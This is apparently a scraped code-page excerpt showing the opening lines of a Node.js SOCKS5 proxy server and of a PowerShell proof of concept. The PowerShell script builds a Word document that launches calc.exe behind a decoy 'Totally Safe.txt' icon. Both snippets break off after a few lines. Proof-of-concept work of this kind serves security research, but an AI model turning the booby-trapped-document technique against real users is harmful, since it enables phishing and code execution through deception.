This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const net = require('net') | |
| net.createServer(client => { | |
| client.once('data', data => { | |
| client.write(Buffer.from([5, 0])); | |
| client.once('data', data => { | |
| data = [...data]; | |
| let ver = data.shift(); | |
| let cmd = data.shift(); //1: connect, 2: bind, 3: udp | |
| let rsv = data.shift(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # target file path | |
| $filename = [Environment]::GetFolderPath('Desktop') + '\Embedded_Internet_Explorer_poc.docx' | |
| # path to open | |
| $path = 'C:\windows\system32\calc.exe' | |
| # the temp file is used for creating the icon | |
| $tmpfile = "$env:TEMP\Totally Safe.txt" | |
| # load assemblies for changing the docx (zip) file |